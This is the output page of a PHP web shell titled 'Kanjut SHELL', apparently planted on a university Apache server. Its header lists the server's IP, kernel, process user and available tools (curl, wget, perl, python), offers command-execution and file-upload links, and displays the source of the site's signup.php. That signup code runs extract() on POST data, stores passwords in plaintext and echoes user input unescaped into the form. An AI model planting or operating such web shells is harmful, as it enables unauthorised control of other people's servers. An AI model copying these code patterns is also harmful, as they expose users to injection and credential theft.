Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.142.43.244
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/public_html/idearena/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/public_html/idearena/user/signup.php
<?php require_once('../includes/connect.php');

require_once('../includes/functions.php');

if($user->logged_in()){
	header('Location: index.php');
} else{

?>

<!doctype html>
<html lang="en">
 <head>
   <title>Sign Up</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width, initial-scale=1">
   <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
   <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
    <!-- Style -->
          <link href="../css/style.css" rel="stylesheet">

    <link href="../css/animate.css" rel="stylesheet">
 </head>
 <style>
 body{

   			background: linear-gradient(
       rgba(33, 33, 33, .75),
       rgba(33, 33, 33, .75)
     ), url("../images/home.jpg") no-repeat center center fixed;
   			-webkit-background-size: cover;
   			-moz-background-size: cover;
  			 -o-background-size: cover;
  			 background-size: cover;

  		}
  		#userNav .navbar-default .navbar-nav>li>a {
 	        color: #B5B5B5;

 	    }
 	   #userNav .navbar-default .navbar-nav>li>a:hover {
 	        color: #f39c12;
 	    }
 	    #userNav .navbar-default .navbar-nav>li>a:focus {
 	        color: #B5B5B5;
    }
 </style>
<body>

  <!-- Header -->
      <nav class="navbar navbar-default navbar-fixed-top" id="userNav" style="border: rgba(33, 33, 33, .75); background-color: rgba(33, 33, 33, .75);" role="navigation">
	                  <div class="container">
	                      <!-- Brand and toggle get grouped for better mobile display -->
	                      <div class="navbar-header">
	                          <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
	                              <span class="sr-only">Toggle navigation</span>
	                              <span class="icon-bar"></span>
	                              <span class="icon-bar"></span>
	                              <span class="icon-bar"></span>
	                          </button>

	                      </div>
	                      <!-- Collect the nav links, forms, and other content for toggling -->
	                      <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
	                          <ul class="nav navbar-nav navbar-right">
	                              <!-- NAV -->
	                              <li><a href="../index.php">HOME</a> </li>
	                              <li><a href="login.php">LOG IN </a></li>
	                              <li><a href="signup.php">SIGN UP </a> </li>

	                              <li><a href="../faq.php">FAQ </a> </li>
	                          </ul>
	                      </div>
	                      <!-- /.navbar-collapse -->
	                  </div>
	                  <!-- /.container- -->
            </nav>


   <!-- Body -->
<div class="container text-center">
		<div class="center-block" style="width:350px; padding-top: 50px;">

	<h2 style="color: #f39c12;">Sign Up</h2>


	<?php

	if(isset($_POST['submit'])){
		$_POST = array_map( 'stripslashes', $_POST );
		extract($_POST);
		$request1 = $connect->query('SELECT username FROM users');
		$request2 = $connect->query('SELECT email FROM users');
		$request3 = $connect->query('SELECT * FROM users');


		//very basic validation
		if($username ==''){
			$error[] = 'Please enter your username.';
		}
		if($fname ==''){
			$error[] = 'Please enter your first name.';
		}
		if($lname ==''){
			$error[] = 'Please enter your last name.';
		}

		//check for username existance
		while($row = $request1->fetch()){
			if($username == $row['username']){
				$error[] = 'This username is already in use.';
				break;
			}
		}
		if($email ==''){
			$error[] = 'Please enter your email.';
		}
		while($row = $request2->fetch()){
			//check for email existance
			if($email == $row['email']){
				$error[] = 'This email is already in use.';
				break;
			}
		}
		if($password ==''){
					$error[] = 'Please enter your password.';
		}

		if(!isset($error)){
			$user_rand = generateRandomString();

			// Create Temp login
				$avatar_path = "avatars/";
				$avatar_name = "user.png";
				$denarii = 50;
				//insert into database
				$stmt = $connect->prepare('INSERT INTO temp_user (userID, username, fname, lname, password, email, avatar_path, avatar_name, denarii, timestamp) VALUES (:userID, :username, :fname, :lname, :password, :email, :avatar_path, :avatar_name, :denarii, :timestamp)') ;
				$stmt->execute(array(
					':userID' => $user_rand,
					':username' => $username,
					':fname' => $fname,
					':lname' => $lname,
					':password' => $password,
					':email' => $email,
					':avatar_path' => $avatar_path,
					':avatar_name' => $avatar_name,
					':denarii' => $denarii,
					':timestamp' => date('Y-m-d H:i:s')
				));

			echo '<div class="alert alert-success"><p class="success"><strong>Success! </strong>Your account was created.</p></div>';
			include('email.php');
			exit;

		}
	}
	//check for any errors
	if(isset($error)){
		foreach($error as $error){
			echo '<div class="alert alert-danger">
  <p class="error"><strong>Error! </strong>'.$error.'</p></div>';
		}
	}
	?>



	<form action='' method='post'>
		<div class="input-group">
        <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
		<input type='text' name='username' class="form-control" placeholder="Username" value='<?php if(isset($error)){ echo $_POST['username'];}?>'></p>
		</div>
		<br>
		<div class="input-group">
		<span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
		<input type='text' name='fname' class="form-control" placeholder="First name" value='<?php if(isset($error)){ echo $_POST['fname'];}?>'></p>
		</div>
		<br>
		<div class="input-group">
		<span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
		<input type='text' name='lname' class="form-control" placeholder="Last name" value='<?php if(isset($error)){ echo $_POST['lname'];}?>'></p>
		</div>
		<br>
		<div class="input-group">
        <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
		<input type='text' name='email' placeholder="Email" class="form-control"  value='<?php if(isset($error)){ echo $_POST['email'];}?>'></p>
		</div>
		<br>
		<div class="input-group">
        <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
		<input type='password' name='password' placeholder="Password" class="form-control"  value='<?php if(isset($error)){ echo $_POST['password'];}?>'></p>
		</div>
		<br>
		<p><input type='submit' class="btn home-btn btn-lg btn-block" name='submit' value='Submit'></p>
		</div>
	</form>

	</div>
	</div>

</div>

<?php
}
?>

Stv3n404 - 2023